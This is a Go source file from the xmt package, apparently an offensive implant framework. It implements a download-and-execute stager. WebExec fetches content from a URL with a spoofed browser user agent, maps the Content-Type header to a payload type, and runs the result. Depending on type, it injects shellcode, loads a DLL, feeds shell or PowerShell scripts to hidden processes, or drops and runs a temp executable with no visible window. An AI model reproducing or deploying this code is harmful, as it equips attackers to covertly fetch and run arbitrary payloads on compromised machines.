github.com/iDigitalFlame/xmt@v0.5.4/man/http.go (about)

     1  // Copyright (C) 2020 - 2023 iDigitalFlame
     2  //
     3  // This program is free software: you can redistribute it and/or modify
     4  // it under the terms of the GNU General Public License as published by
     5  // the Free Software Foundation, either version 3 of the License, or
     6  // any later version.
     7  //
     8  // This program is distributed in the hope that it will be useful,
     9  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    10  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    11  // GNU General Public License for more details.
    12  //
    13  // You should have received a copy of the GNU General Public License
    14  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    15  //
    16  
    17  package man
    18  
    19  import (
    20  	"bytes"
    21  	"context"
    22  	"net/http"
    23  	"net/url"
    24  	"os"
    25  	"strings"
    26  	"sync"
    27  
    28  	"github.com/iDigitalFlame/xmt/cmd"
    29  	"github.com/iDigitalFlame/xmt/com"
    30  	"github.com/iDigitalFlame/xmt/data"
    31  	"github.com/iDigitalFlame/xmt/device"
    32  	"github.com/iDigitalFlame/xmt/util/bugtrack"
    33  	"github.com/iDigitalFlame/xmt/util/text"
    34  	"github.com/iDigitalFlame/xmt/util/xerr"
    35  )
    36  
    37  var client struct {
    38  	_ [0]func()
    39  	v *http.Client
    40  	sync.Once
    41  }
    42  
    43  func rawParse(r string) (*url.URL, error) {
    44  	var (
    45  		i   = strings.IndexRune(r, '/')
    46  		u   *url.URL
    47  		err error
    48  	)
    49  	if i == 0 && len(r) > 2 && r[1] != '/' {
    50  		u, err = url.Parse("/" + r)
    51  	} else if i == -1 || i+1 >= len(r) || r[i+1] != '/' {
    52  		u, err = url.Parse("//" + r)
    53  	} else {
    54  		u, err = url.Parse(r)
    55  	}
    56  	if err != nil {
    57  		return nil, err
    58  	}
    59  	if len(u.Host) == 0 {
    60  		return nil, xerr.Sub("empty host field", 0x65)
    61  	}
    62  	if u.Host[len(u.Host)-1] == ':' {
    63  		return nil, xerr.Sub("invalid port specified", 0x66)
    64  	}
    65  	if len(u.Scheme) == 0 {
    66  		u.Scheme = com.NameHTTP
    67  	}
    68  	return u, nil
    69  }
    70  
    71  // ParseDownloadHeader converts HTTP headers into index-based output types.
    72  //
    73  // Resulting output types:
    74  // - 0: None found.
    75  // - 1: DLL.
    76  // - 2: Assembly Code (ASM).
    77  // - 3: Shell Script.
    78  // - 4: PowerShell Script.
    79  //
    80  // Ignores '*/' prefix.
    81  //
    82  // # Examples
    83  //
    84  // DLL:
    85  //   - '/d'
    86  //   - '/dll'
    87  //   - '/dontcare'
    88  //   - '/dynamic'
    89  //   - '/dynamiclinklib'
    90  //
    91  // Assembly Code:
    92  //   - '/a'
    93  //   - '/b'
    94  //   - '/asm'
    95  //   - '/bin'
    96  //   - '/assembly'
    97  //   - '/binary'
    98  //   - '/code'
    99  //   - '/shellcode'
   100  //   - '/superscript'
   101  //   - '/shutupbro'
   102  //
   103  // Shell Script:
   104  //   - '/x'
   105  //   - '/s'
   106  //   - '/cm'
   107  //   - '/cmd'
   108  //   - '/xgongiveittoya'
   109  //   - '/xecute'
   110  //   - '/xe'
   111  //   - '/com'
   112  //   - '/command'
   113  //   - '/shell'
   114  //   - '/sh'
   115  //   - '/script'
   116  //
   117  // PowerShell:
   118  //   - '/p'
   119  //   - '/pwsh'
   120  //   - '/powershell'
   121  //   - '/power'
   122  //   - '/powerwash'
   123  //   - '/powerwashing'
   124  //   - '/powerwashingsimulator'
   125  //   - '/pwn'
   126  //   - '/pwnme'
   127  func ParseDownloadHeader(h http.Header) uint8 {
   128  	if len(h) == 0 {
   129  		return 0
   130  	}
   131  	var c string
   132  	for k, v := range h {
   133  		if len(k) < 12 {
   134  			continue
   135  		}
   136  		if k[0] != 'C' && k[0] != 'c' && k[8] != '-' && k[9] != 'T' && k[9] != 't' {
   137  			continue
   138  		}
   139  		if len(v) == 0 || len(v[0]) == 0 {
   140  			continue
   141  		}
   142  		c = v[0]
   143  		break
   144  	}
   145  	if len(c) == 0 {
   146  		return 0
   147  	}
   148  	x := strings.IndexByte(c, '/')
   149  	if x < 1 || x >= len(c) {
   150  		return 0
   151  	}
   152  	x++
   153  	switch n := len(c) - x; {
   154  	case c[x] == 'd': // Covers all '/d*' for DLL.
   155  		if cmd.LoaderEnabled { // Return ASM type instead when we can convert it.
   156  			return 2
   157  		}
   158  		return 1
   159  	case c[x] == 'p': // Covers all '/p*' for PowerShell.
   160  		return 4
   161  	case c[x] == 'x': // Covers all '/x*' for Shell Execute.
   162  		return 3
   163  	case c[x] == 'a' || c[x] == 'b': // Covers '/a*' and '/b*' for ASM.
   164  		return 2
   165  	case n > 1 && c[x] == 'c' && c[x+1] == 'm': // Covers '/cm*' for Script.
   166  		fallthrough
   167  	case n > 2 && c[x] == 'c' && c[x+1] == 'o' && c[x+2] == 'm': // Covers '/com*' for Script.
   168  		return 3
   169  	case c[x] == 'c': // Covers '/c*' for ASM.
   170  		fallthrough
   171  	case n > 6 && c[x] == 's' && c[x+1] != 'c': // Covers '/shellcode' for ASM.
   172  		return 2
   173  	case c[x] == 's': // Covers '/s*' for Script.
   174  		return 3
   175  	}
   176  	return 0
   177  }
   178  
   179  // WebRequest is a utility function that allows for piggybacking off the Sentinel
   180  // downloader, which is only initialized once used.
   181  //
   182  // The first two strings are the URL and the User-Agent (which can be empty).
   183  //
   184  // User-Agent strings can be supplied that use the text.Matcher format for dynamic
   185  // values. If empty, a default Firefox string will be used instead.
   186  func WebRequest(x context.Context, url, agent string) (*http.Response, error) {
   187  	r := newRequest(x)
   188  	if client.Do(initDefaultClient); len(agent) > 0 {
   189  		r.Header.Set(userAgent, text.Matcher(agent).String())
   190  	} else {
   191  		r.Header.Set(userAgent, userValue)
   192  	}
   193  	var err error
   194  	if r.URL, err = rawParse(url); err != nil {
   195  		return nil, err
   196  	}
   197  	return client.v.Do(r)
   198  }
   199  
   200  // WebExec will attempt to download the URL target at 'url' and parse the
   201  // data into a Runnable interface.
   202  //
   203  // The supplied 'agent' string (if non-empty) will specify the User-Agent header
   204  // string to be used.
   205  //
   206  // The passed Writer will be passed as Stdout/Stderr to certain processes if
   207  // the Writer "w" is not nil.
   208  //
   209  // The returned string is the full expanded path if a temporary file is created.
   210  // It's the callers responsibility to delete this file when not needed.
   211  //
   212  // This function uses the 'man.ParseDownloadHeader' function to assist with
   213  // determining the executable type.
   214  func WebExec(x context.Context, w data.Writer, url, agent string) (cmd.Runnable, string, error) {
   215  	o, err := WebRequest(x, url, agent)
   216  	if err != nil {
   217  		return nil, "", err
   218  	}
   219  	b, err := data.ReadAll(o.Body)
   220  	if o.Body.Close(); err != nil {
   221  		return nil, "", err
   222  	}
   223  	if bugtrack.Enabled {
   224  		bugtrack.Track("man.WebExec(): Download url=%s, agent=%s", agent, url)
   225  	}
   226  	var d bool
   227  	switch ParseDownloadHeader(o.Header) {
   228  	case 1:
   229  		d = true
   230  	case 2:
   231  		if bugtrack.Enabled {
   232  			bugtrack.Track("man.WebExec(): Download is shellcode url=%s", url)
   233  		}
   234  		return cmd.NewAsmContext(x, cmd.DLLToASM("", b)), "", nil
   235  	case 3:
   236  		c := cmd.NewProcessContext(x, device.Shell)
   237  		c.SetNoWindow(true)
   238  		if c.SetWindowDisplay(0); w != nil {
   239  			c.Stdout, c.Stderr = w, w
   240  		}
   241  		c.Stdin = bytes.NewReader(b)
   242  		return c, "", nil
   243  	case 4:
   244  		c := cmd.NewProcessContext(x, device.PowerShell)
   245  		c.SetNoWindow(true)
   246  		if c.SetWindowDisplay(0); w != nil {
   247  			c.Stdout, c.Stderr = w, w
   248  		}
   249  		c.Stdin = bytes.NewReader(b)
   250  		return c, "", nil
   251  	}
   252  	var n string
   253  	if d {
   254  		n = execB
   255  	} else if device.OS == device.Windows {
   256  		n = execC
   257  	} else {
   258  		n = execA
   259  	}
   260  	f, err := data.CreateTemp("", n)
   261  	if err != nil {
   262  		return nil, "", err
   263  	}
   264  	n = f.Name()
   265  	_, err = f.Write(b)
   266  	if f.Close(); err != nil {
   267  		return nil, n, err
   268  	}
   269  	if b = nil; bugtrack.Enabled {
   270  		bugtrack.Track("man.WebExec(): Download to temp file url=%s, n=%s", url, n)
   271  	}
   272  	if os.Chmod(n, 0755); d {
   273  		return cmd.NewDLLContext(x, n), n, nil
   274  	}
   275  	c := cmd.NewProcessContext(x, n)
   276  	c.SetNoWindow(true)
   277  	if c.SetWindowDisplay(0); w != nil {
   278  		c.Stdout, c.Stderr = w, w
   279  	}
   280  	return c, n, nil
   281  }